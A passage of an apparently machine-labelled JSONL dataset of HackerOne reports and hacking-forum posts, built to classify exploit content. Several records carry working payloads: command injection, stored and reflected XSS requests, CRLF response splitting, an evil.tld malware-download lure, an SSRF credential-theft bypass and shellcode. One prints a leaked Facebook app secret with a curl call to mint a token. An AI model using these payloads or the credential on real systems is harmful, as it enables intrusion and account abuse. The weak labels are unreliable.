initiate any uploading when I tried to upload files with mentioned extension:\n\n{F2046656}\n\n\nAdditional note:\nAll three subdomains resolve to the same ip address, which implies that if you have other subdomains associated with this ip address those subdomains are probably affected by this bypass as well.\n\nThank you for looking into this, and please let me know if you have any questions and/or if you need me to do some more testing, like fuzzing all the found endpoints to determine if there are some interesting bugs there.\n\nSincerely,\n@musashi42\n\n## Supporting Material/References:\nAttached are the screenshots.\n  * List any additional material (e.g. screenshots, logs, etc.)\n\n## Impact\n\nImpact is dependent on whether ability to access the subdomains in question is considered as a bypass and if any of the disclosed information (especially various accessible js files) shouldn't be accessible in this way, in addition if there are more sensitive endpoints that I simply didn't find with my limited wordlists but larger wordlists would find. In addition, there's also a question if more interesting subdomains are associated with the same ip address as the three that I mentioned in the report and if those subdomains are even more interesting for the attacker because this bypass should work on any subdomain that's been associated with the ip address of the three mentioned subdomains.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ab59870f7214000a25ee", "text": "[Server-Side Request Forgery (SSRF)] SSRF mitigation bypass using DNS Rebind attack\n\nWe noticed that the upload functionality contains the ability to upload files from remote server, however there are some mitigations against accessing the AWS Instance Metadata service.\n\nWe've managed to bypass these mitigations using DNS rebinding and we've managed to fetch the AWS IAM keys when Concrete CMS is running in the cloud.\n\nWe've used http://1u.ms/ service for DNS rebinding, please see screenshots with evidence.\n\n## Impact\n\nAn attacker can bypass the SSRF protections and he can fetch the AWS IAM keys under which the application is running. From here on he can do enumeration and mount other attacks.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "300443cc9bde7a0c5a94", "text": "I finally figured it out! Shoutout to olliz0r from the Discord community for the hint!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8fef6d90bda6ccbac4d6", "text": "My approach is kinda similar to yours with the trust of task statement that decode the shellcode, by adding a loop to ‘xor’ each 8-bytes on the stack with the key in ‘rbx’ . global _start section .text _start: mov rax,0xa284ee5c7cde4bd7 push rax mov rax,0x935add110510849a push rax mov rax,0x10b29a9dab697500 push rax mov rax,0x200ce3eb0d96459a push rax mov rax,0xe64c30e305108462 push rax mov rax,0x69cd355c7c3e0c51 push rax mov rax,0x65659a2584a185d6 push rax mov rax,0x69ff00506c6c5000 push rax mov rax,0x3127e434aa505681 push rax mov rax,0x6af2a5571e69ff48 push rax mov rax,0x6d179aaff20709e6 push rax mov rax,0x9ae3f152315bf1c9 push rax mov rax,0x373ab4bb0900179a push rax mov rax,0x69751244059aa2a3 push rax mov rbx,0x2144d2144d2144d2 _loop_setup: mov rcx, 14 lea rdx, [rsp] _loop: xor [rdx], rbx add rdx, 8 loop _loop _exec_shellcode: call rsp _exit: mov rax, 60 mov rdi, 0 syscall The patched program is then linked with stack execution enable: $ nasm -f elf64 loaded_shellcode_patched.nasm $ ld -z execstack -o loaded_shellcode_patched loaded_shellcode_patched.o Unfortunately, the decoded shellcode doesn’t look good: Dump of assembler code from 0x7fffffffe300 to 0x7fffffffe370: 0x00007fffffffe300: jno 0x7fffffffe2e8 0x00007fffffffe302: mov $0x31c05048,%ebx 0x00007fffffffe307: rex.W 0x00007fffffffe308: rex.W push %rbx 0x00007fffffffe30a: and %eax,0x66(%rdi,%rbp,4) 0x00007fffffffe30e: jle 0x7fffffffe326 0x00007fffffffe310: sbb 0x23467c7a(%rbp),%esi 0x00007fffffffe316: cmpsl %es:(%rdi),%ds:(%rsi) 0x00007fffffffe317: mov $0xbf264d34,%ebx 0x00007fffffffe31c: mov $0x9a4c5348,%ebx 0x00007fffffffe321: mov $0x77435348,%ebx 0x00007fffffffe326: mov $0x4b,%dh 0x00007fffffffe328: push %rbx 0x00007fffffffe329: adc -0x19(%rcx),%dh 0x00007fffffffe32c: and %dh,(%rsi) 0x00007fffffffe32e: movsxd (%rax),%edx 0x00007fffffffe330: rclb %cl,-0x442dbbdf(,%rcx,2) 0x00007fffffffe337: rex.W add $0xc1,%al 0x00007fffffffe33a: or $0x31,%cl 0x00007fffffffe33d: and %rax,0x48(%rbx,%rax,4) 0x00007fffffffe342: (bad) 0x00007fffffffe343: xor %ecx,-0x19(%rax) 0x00007fffffffe346: mov %ecx,-0x50(%rax) 0x00007fffffffe349: shlb $0x48,(%rcx) 0x00007fffffffe34c: mul %edx 0x00007fffffffe34e: or %al,%bh 0x00007fffffffe350: add %rsi,0x4831ff40(%rdi) 0x00007fffffffe357: add %edx,%edx 0x00007fffffffe359: xor %ecx,-0x1a(%rax) 0x00007fffffffe35c: mov %ecx,-0xa(%rax) 0x00007fffffffe35f: xor %ecx,-0x40(%rax) 0x00007fffffffe362: xor %ecx,0x5(%rax) 0x00007fffffffe365: nopl 0x31ff0f05(%rdx) 0x00007fffffffe36c: rex.W cmp $0xc0,%al 0x00007fffffffe36f: addl $0x0,(%rcx) End of assembler dump. You can see that there is plenty of register-based memory access, which would be invalid as most of the registers are initialized with the value 0. Also jno 0x7fffffffe2e8 will be taken when yielding the control flow to the shellcode as the overflow flag in the rflags register are set to 0 by default, which will jump the control flow to a lower address in the stack with all-zero initialized values. Given 00 00 is a valid instruction in x86_64 representing add [rax], al , the shellcode would attempt to dereference the default value 0x00 in rax after the jump which leads to a segfault. Therefore, either decode the shellcode, by adding a loop to ‘xor’ each 8-bytes on the stack with the key in ‘rbx’ is misleading, or there should be a specific environment with non-default register values where the shellcode should execute.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "79e241c9966bccde809c", "text": "[Cleartext Storage of Sensitive Information] Facebook App API credentials leaked in the APK\n\nGlassWire version 1,1,26,0b (F1827380) contains Facebook App API credentials (https://developers.facebook.com/docs/facebook-login/guides/access-tokens?locale=en_US#apptokens) in the GlassWire.exe file.\nApp ID: `660471650708388`\nApp Secret: `71a2d003a5ecfab4f4ad86dfb70b74e0`\n\nTo check that token is work run:  \n`curl \"https://graph.facebook.com/oauth/access_token?client_id=660471650708388&client_secret=71a2d003a5ecfab4f4ad86dfb70b74e0&redirect_uri=&grant_type=client_credentials\"`  \nYou will get aresponse `{\"access_token\":\"660471650708388|jboBZgqj64W1JXIAKIbtVz24FlQ\",\"token_type\":\"bearer\"}`\n\nFrom the Facebook documentation https://developers.facebook.com/docs/facebook-login/guides/access-tokens#apptokens:  \n> Note that because this request uses your app secret, it must never be made in client-side code or in an app binary that could be decompiled. It is important that your app secret is never shared with anyone. Therefore, this API call should only be made using server-side code.\n\n## Impact\n\nThis token can be used to modify Facebook App settings.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fd5e376bdc31b7244d5b", "text": "[Improper Access Control - Generic] Store Admin Page Accessible Without Authentication at http://www.grouplogic.com/ADMIN/store/index.cfm\n\n## Summary\nThe store admin page is accessible without authentication at below URL:\n```\nhttp://www.grouplogic.com/ADMIN/store/index.cfm\n```\n\nThe store admin page provides functionalities such as the following:\n- Add Edit Items\n- Search Products\n- Search Results\n- Search Orders\n- Orders Search Results\n- Add New Promo Code\n- Promo Code\n- Add New How Hear\n- How Hear\n\n## Steps To Reproduce\nNavigate to below URL from a browser to access the store admin page.\n\n```\nhttp://www.grouplogic.com/ADMIN/store/index.cfm\n```\n\n## Recommendations\nIt is highly recommended to implement proper access controls on administrator functionalities. Only authenticated admin users are to be allowed to access admin pages.\n\n## Impact\n\nAccess to admin functionalities without authentication.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4ecda6b5ba90214981cb", "text": "[Cross-site Scripting (XSS) - Stored] STORED XSS in █████████/nlc/login.aspx via \"edit\" GET parameter through markdown editor [HtUS]\n\nWhile looking through the source code of https://████████/nlc/login.aspx,I noticed this line (204):\n`<a id=\"ctl00_ContentPlaceHolder1_CancelButton\" class=\"hidden\" href=\"login.aspx?edit=false\"><i class=\"fa fa-times\"></i> Cancel</a>`  ,which exposes the **edit** GET parameter.\nUpon accessing https://█████████/nlc/login.aspx?edit=true ,a hidden markdown editor will be revealed if you click around where the bottom text is,which allow us to input our own text,upload images,and pretty much anything you can do in markdown.  \n████████  \nAs you can see to prove impact,I inputted an XSS payload(`svg/onload=alert(1)>`) and clicked on **Save**.\nAfter that whenever **anyone** accesses https://██████████/nlc/login.aspx ,the XSS payload will execute.  \n███████  \nThe only way to remove the XSS payload is through accessing the markdown editor through https://█████████/nlc/login.aspx?edit=true ,removing it,and saving it.\n\n## Impact\n\nUsing this,an attacker is able to input and execute his own javascript code that will execute on **everyone** that accesses the login page **every time**,no matter what device they're using.They are not limited to Stored XSS though,using the hidden markdown editor they're able to upload images,deface the website and basically anything you can using markdown,however the most impactful scenario being executing arbitrary javascript code.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dd6bc46487affaa7af79", "text": "[OS Command Injection] [indy_node]POOL_UPGRADE command injection, Trustee Node can execute command in any other Node`s system.\n\nAfter I finish my report, I found project this is not part of the bounty program, so I also commit this report. This issue is related to the [https://github.com/hyperledger/indy-node](https://github.com/hyperledger/indy-node).\n\nI found some function such as get_latest_pkg_version/_call_upgrade_script has  command injection vulnerability. \nnode_control_utils.py:\n```python\n    def get_latest_pkg_version(cls,pkg_name: str,upstream: SourceVersion = None, update_cache: bool = True) -> PackageVersion:\n        ...\n        try:\n            cmd = compose_cmd(\n                ['apt-cache', 'show', pkg_name, '|', 'grep', '-E', \"'^Version: '\"]\n            )\n            output = cls.run_shell_script_extended(cmd).strip()\n    ...\n```\nnode_control_noe.py:\n```python\n    def _call_upgrade_script(self, pkg_name: str, pkg_ver: PackageVersion):\n        logger.info(\n            \"Upgrading {} to package version {}, test_mode {}\"\n            .format(pkg_name, pkg_ver, int(self.test_mode))\n        )\n\n        deps = self._get_deps_list('{}={}'.format(pkg_name, pkg_ver))\n        deps = '\"{}\"'.format(deps)\n\n        cmd_file = 'upgrade_indy_node'\n        if self.test_mode:\n            cmd_file = 'upgrade_indy_node_test'\n\n        cmd = compose_cmd([cmd_file, deps])\n        NodeControlUtil.run_shell_script(cmd, timeout=self.timeout)\n```\nA Trustee can input a malicious package name to trigger this code.  There are two conditions for package name:\n1. Valid package name prefix, here I choose `indy-node`.\n2. Valid package version. Input value of version must bigger or equals than old version. If `reinstall` set to true, version can equal with the old version.\n3. bypass the fileter function `compose_cmd`. I found  some special characters  filtered in `compose_cmd` , that is `;|&&`:\n```python\ndef compose_cmd(cmd):\n    if os.name != 'nt':\n        cmd = ' '.join(cmd)\n        cmd = re.split(\";|&&\", cmd.splitlines()[0], 1)[0].rstrip()\n    return cmd\n```\nBut the special character \\`, is still valid to inject command. So I can input a package name , for example: indy-node2 \\`touch /tmp/12345678\\` . Finally The malicious POOL_UPGRADE request looks as follows:\n```json\n{\n    \"identifier\": \"V4SGRU86Z58d6TV7PBUe6f\",\n    \"operation\": {\n        \"action\": \"start\",\n        \"name\": \"test\",\n        \"package\": \"indy-node2 `touch /tmp/1234567`\",\n        \"schedule\": {\n            \"Gw6pDLhcBcoQesN72qfotTgFa7cbuqZpkX3Xo6pLhPhv\":\"2023-02-02T15:30:05.258870+00:00\",\n            \"8ECVSk179mjsjKRLWiQtssMLgp6EPhWXtaYyStWPSGAb\":\"2023-02-02T17:32:05.258870+00:00\",\n            \"DKVxG2fXXTU8yT5N7hGEbXB3dfdAnYv1JczDUHpmDxya\":\"2023-02-02T14:31:05.258870+00:00\",\n            \"4PS3EDQ3dW1tci1Bp6543CfuuebjFrg36kLAUcskGfaA\":\"2023-02-02T19:39:05.258870+00:00\"\n        },\n        \"sha256\": \"db34a72a90d026dae49c3b3f0436c8d3963476c77468ad955845a1ccf7b03f55\",\n        \"type\": \"109\",\n        \"reinstall\": true,\n        \"version\": \"1.12.6\"\n    },\n    \"protocolVersion\": 2,\n    \"reqId\": 1651152851,\n    \"signature\": \"4YoXKHNnWRouTUAW4fKuTANnXNJfY2JoPG4PoXfz4PUzjx4NySrAmzkzy6zCiRRf5uczZx5mQVSm1eCZLnUHUDoT\"\n}\n```\nStep to reproduce(use indy-cli):\n1. use indy-cli, Use a `TRUSTEE` DID:\n\n{F2150453} \n\n2. Run ledger pool_upgrade command, such as:\n\n```\nledger pool-upgrade name=\"security_test2\" version=1.12.6 action=start sha256=f284bdc3c1c9e24a494e285cb387c69510f28de51c15bb93179d9c7f28705398 schedule={\"Gw6pDLhcBcoQesN72qfotTgFa7cbuqZpkX3Xo6pLhPhv\":\"2023-02-02T15:30:05.258870+00:00\",\"8ECVSk179mjsjKRLWiQtssMLgp6EPhWXtaYyStWPSGAb\":\"2023-02-02T14:32:05.258870+00:00\",\"DKVxG2fXXTU8yT5N7hGEbXB3dfdAnYv1JczDUHpmDxya\":\"2023-02-02T13:31:05.258870+00:00\",\"4PS3EDQ3dW1tci1Bp6543CfuuebjFrg36kLAUcskGfaA\":\"2023-02-02T12:53:05.258870+00:00\"} package=\"indy-node `touch /tmp/1234567`\" reinstall=true\n```\n3. wait for schedule, you can what happend in `/var/log/indy/node_control.log`:\n\n{F2150481}\n\n## Impact\n\nA Trustee Node can execute command in any other Node`s system.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "54bf735f8a64da72e923", "text": "[Cross-site Scripting (XSS) - Stored] Cross-site scripting on dashboard2.omise.co\n\n## Summary:\nCross-site scripting (XSS) is an attack vector that injects malicious code into a vulnerable web application.\nStored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.\n\nSteps To Reproduce:\n1. Log in to your account.\n2. Visit https://dashboard.omise.co/test/settings \n3. Under Export - Specify the metadata that you want to include in your export option. Enter <script>alert(2)</script> in all four parameters including Charge, Transfer, Refund, Dispute.\n4. Click on Update settings.\n5. Click on Try our new dashboard, XSS will Trigger or log out and log in again, and XSS will Trigger.\n\nPOC:\nAttached Video.\n\n## Impact\n\nCode injected into a vulnerable application can exfiltrate data or install malware on the user's machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b10f58e1187dec127596", "text": "Trying to get obscured data from this site \n\nHi, I have done some hacking before but mainly through exploits, however this site doesnt seem to be using any known cms whatsoever so Im having some problems. https://www.auxiliarjuridico.com/buscado…EZ-QUIROZ/ All I want to do is to get the info from the field “Calle:” which is obscured with asterisks. I have been able to deduct the first and last words so it would read: “EDIFICIO ****** ENTRADA 2”. I guess the obscuring is happening on the server side. I did some site scanning and I found some mild vulnerabilities such as this: 4.3 CVE-2015-9251 jQuery before 3.0.0 is vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain Ajax request is performed without the dataType option, causing text/javascript responses to be executed. jQuery 2.2.4 but couldnt find any exploit for that. Hopefully some one can put me in the right direction. Thank you.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2015-9251"], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-07-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4d315d3534d6f12f4722", "text": "[HTTP Response Splitting] RubyのCGIライブラリにHTTPレスポンス分割（HTTPヘッダインジェクション）があり、秘密情報が漏洩する\n\nPoC1:\n```\n#!/usr/bin/env ruby\nrequire 'cgi'\ncgi = CGI.new\nurl = \"http://example.jp\\r\\nSet-Cookie: foo=bar;\"     # External Parameter\nprint cgi.header({'status' => '302 Found', 'Location' => url})\n```\n\nActual Result1:\n```\n$ curl -s -i http://localhost:8080/cgi-bin/cgi.ru\nHTTP/1.1 302 Found\nDate: Fri, 21 May 2021 00:46:33 GMT\nServer: Apache/2.2.31 (Unix)\nSet-Cookie: foo=bar;\nLocation: http://example.jp\nContent-Length: 0\nContent-Type: text/html\n\n```\n\nこのケースでは不正なクッキーが注入される。\n\n\nPoC2:\n```\n#!/usr/bin/env ruby\nrequire 'cgi'\ncgi = CGI.new\nurl = \"http://example.jp\\r\\nStatus: 500\\r\\n\\r\\n<script>alert(1)</script>\"  # External Parameter\nprint cgi.header({'status' => '302 Found', 'Location' => url})\n```\n\nActual Result2:\n```\n$ curl -s -i http://localhost:8080/cgi-bin/cgi.ru\nHTTP/1.1 500 Internal Server Error\nDate: Fri, 21 May 2021 00:49:44 GMT\nServer: Apache/2.2.31 (Unix)\nLocation: http://example.jp\nConnection: close\nTransfer-Encoding: chunked\nContent-Type: text/html\n\n<script>alert(1)</script>\n\n```\n\nこのケースでは500 Internal Server Errorのため、Locationヘッダは無視され、JavaScriptが実行される。\n\n## Impact\n\n意図しないHTTPレスポンスヘッダやHTTPレスポンスボディを外部から注入できます。\n単純なHTTPヘッダインジェクションでは、クッキーのインジェクションやリダイレクト等が主な影響となりますが、このケースでは、レスポンスボディが注入できるため、不正なJavaScript実行に及ぶため、影響が大きいと考えます。\n\n他の言語の場合、PHPのheader関数は \"\\r\"  \"\\n\"   \"\\r\\n\"   等をすべてエラーにするため、上記の攻撃はできません。\n\n過去のWEBrickやPumaにも類似の脆弱性がありましたが、これらは単独のキャリッジリターン \"\\r\" による攻撃しかできず、リバースプロキシとしてNginxがあれば、Nginx側にてエラーになります。したがって、現実的な危険性はほとんどないと考えます。\n\nhttps://www.ruby-lang.org/en/news/2019/10/01/http-response-splitting-in-webrick-cve-2019-16254/\nhttps://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v\n\n一方、今回報告した問題は、CGIの仕様上ウェブサーバーや���バースプロキシ側でエラーにすることはできないため、影響が現実的です。", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2019-16254"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e66ff53a2f5a72664259", "text": "[Code Injection] CVE-2023-5528: Insufficient input sanitization in in-tree storage plugin leads to privilege escalation on Windows nodes\n\nThis is an imported report from the email i have sent a month ago about a code injection vulnerability\nThe vulnerability was assigned as  CVE-2023-5528\nAs a reference i have talked with Balaji from the k8 team.\nExcerpts from the email chain that might be relevant:\n\n\"Just a quick update to let you know that we were able to reproduce the issue and are working on a fix. CVE-2023-5528 has been reserved for this issue. We'll keep you updated on the next steps as we review the proposed fix.\"\n\n\"Hi Tomer,\nThis is being rated as a Tier 1 High severity ($5,000) bounty.\"\n\nThe vulnerability was verified and assigned a CVE  by the k8 team\n\n## Impact\n\nCode execution from kubelet context(SYSYTEM privileges) on all windows nodes on a cluster.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-5528"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c4337177875884683094", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] HTML Injection / Reflected Cross-Site Scripting with CSP on https://accounts.firefox.com/settings\n\n## Summary:\nGood morning,\n\nThere is a vulnerability on accounts.firefox.com, where the flowId parameter is reflected into the server response without being escaped for HTML. This causes a Cross-Site Scripting attack, which may allow attackers to take over accounts. \nTo do that, one would need to bypass the Content-Security-Policy on Firefox's website, which looks like this:\n```http\nContent-Security-Policy: connect-src 'self' https://api.accounts.firefox.com https://graphql.accounts.firefox.com https://oauth.accounts.firefox.com https://profile.accounts.firefox.com wss://channelserver.services.mozilla.com https://channelserver.services.mozilla.com https://*.sentry.io http://localhost:4318;default-src 'self';form-action 'self' https://accounts.google.com https://appleid.apple.com;font-src 'self' https://accounts-static.cdn.mozilla.net;frame-src 'none';img-src 'self' blob: data: https://secure.gravatar.com https://firefoxusercontent.com https://profile.accounts.firefox.com https://accounts-static.cdn.mozilla.net;media-src blob:;object-src 'none';report-uri /_/csp-violation;script-src 'self' https://accounts-static.cdn.mozilla.net;style-src 'self' https://accounts-static.cdn.mozilla.net;base-uri 'self';frame-ancestors 'self';script-src-attr 'none';upgrade-insecure-requests\n```\nBypassing the Content-Security-Policy was not done yet, and I am not sure if its even doable. Therefore I am reporting the vulnerability as is because even without Javascript execution there are some attacks that are still possible script-less. One theoretical attack that could be possible is using the connect-src directive to make requests to the http://localhost:4318 URL and then possibly leak traces or other sensitive data from OpenTelemetry Collector (making Mozilla employees possibly a target for this attack).\n\n## PoCs\n1. Open Redirect\nhttps://accounts.firefox.com/settings?deviceId=cc10a15a5ac94bdf8a9a0bc5b2912520&flowBeginTime=1676972087857&flowId=%22%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%221;%20http://example.com%22%3E&broker=web&context=web&isSampledUser=false&service=none&uniqueUserId=dbf23f86-d3d1-4576-92bc-ebaa4fd14795\n\n2. UI Redressing\nhttps://accounts.firefox.com/settings?deviceId=cc10a15a5ac94bdf8a9a0bc5b2912520&flowBeginTime=1676972087857&flowId=e587d1d6ceb%22%3E%3Ch1%3EYour+machine+needs+to+be+analyzed.+Please+download+and+run+this+file+to+continue%3a+%3Ca+href%3d%22http%3a//evil.tld/a.exe%22%3EClick%20here%20to%20Download%3C/a%3E%3C/h1%3E%3C!--&broker=web&context=web&isSampledUser=false&service=none&uniqueUserId=dbf23f86-d3d1-4576-92bc-ebaa4fd14795\n\n## Impact\n\nAn attacker can inject HTML on the page and potentially run attacks involving user interaction, with achieving arbitrary javascript code execution not being possible due to the Content Security Policy installed on the server.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "53b91b44a9cd6a77a4eb", "text": "Yes please if you don’t mind helping. I’ve tried probably a hundred different things with this being the most recent:", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b5215d626a1fd98380aa", "text": "[Cross-site Scripting (XSS) - Generic] XSS in Cisco Endpoint\n\n**Description:**\nMultiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section.\n\n## References\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe\n\n## Impact\n\nWith this vulnerability, an attacker can steal users cookies, redirect users to a malicious website, or execute arbitrary javascript.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2023-3580\n\n## Steps to Reproduce\n1.) Perform the following post request. \n\nPOST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1\nHost: ███████\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\nConnection: close\nHackerone: R00tdaddy\nContent-Length: 72\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate, br\n\nSAMLResponse=%22%3E%3Csvg/onload=alert(/2XUkWJ29OE88uyTbdZ3a2UmA828/)%3E\n\nSAML Response pops up in the browser.\n\n## Suggested Mitigation/Remediation Actions\nPatch : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-3580"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8f42788ecf9750a10d6f", "text": "[Cross-site Scripting (XSS) - Reflected] reflected xss in www.████████.gov\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\npayload: ryp3i%22accesskey%3d%22x%22onclick%3d%22alert(1)%22%2f%2fopk15\nParameter: prefixRank\nrequest:\n```\nPOST /ioss/site/customer.cfm?oHvIaPEiVgj7Hf9Ux5T+eNZwuEg2J/n12v1EZMCIm2I= HTTP/1.1\nHost: www.████.gov\nCookie: CFID=37933027; CFTOKEN=51767030; JSESSIONID=1A3418B42833E571ACD8B2EA991592C4.cfusion; __utma=90160643.185474856.1671578010.1671578010.1671578010.1; __utmc=90160643; __utmz=90160643.1671578010.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt_GSA_CP=1; __utmb=90160643.10.10.1671578010\nContent-Length: 628\nCache-Control: max-age=0\nSec-Ch-Ua: \"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"108\", \"Google Chrome\";v=\"108\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nOrigin: https://www.██████████.gov\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://www.█████████.gov/ioss/site/customer.cfm?M8LgLru4s3ED7nBcLICmmmePvRA/+vXyGWDMaEFgwajcrt1aH3tfpVSr8pUuzMfeeJrg2zmmBIsdNqSXGXhXtg==\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,fa;q=0.8\nConnection: close\n\nprefixRank=ryp3i%22accesskey%3d%22x%22onclick%3d%22alert(1)%22%2f%2fopk15&firstName=asdasd&middleName=ads&lastName=dez&affiliationID=1&level1=2&level3=&ORGNAME=Department+of+Agriculture&company=dez&address1=deaxsxas&address2=asda&city=asdas&state=OT&zip=3423423423&country=Anguilla&email=dezprogrammer%40gmail.com&dayPhone1=910&dayPhone2=648&dayPhone3=7750&dayPhone4=122&fax1=501&fax2=234&fax3=2343&orgID=&customerID=0&shipID=&passwordMetRequirements=False&passwordStrength=Very+Strong&pwChangeReqd=true&pw_minChars=14&pw_minUCase=2&pw_minLCase=2&pw_minNums=2&pw_minSymb=2&password=Salam123456789%40%40%40&passwordTxt=&mask=1&password2=Salam123456789%40%40%40&q1=1&a1=dez&q2=2&a2=dez\n```\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n████.gov\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1-register once \n2-if you try one more time  , you will receive \"this email address already exists in the system \"\n3-now inject payload \npoc video attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3e4edf33383fcd4af560", "text": "I had to make an account just to say thank you for this. I’m just getting into this particular area of programming and this is excellent.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-07-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d22c4ce6df0ec1f83e7f", "text": "I was beating my head against the wall with this challenge and trying desperately not to over think it. This single line right here helped me so much because I wasn’t seeing what I expected through gdb. Thank you! 5- remember when you are inside gdb and run \" $(python -c blablabla)\" it’s the same as executing the script with the parameter, as follows: ‘./script $(python -c blablabla)’ I will also note, this chapter shows you one way of using msfvenom with its build up to the challenge. There are many tools in msfvenom’s tool suite!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
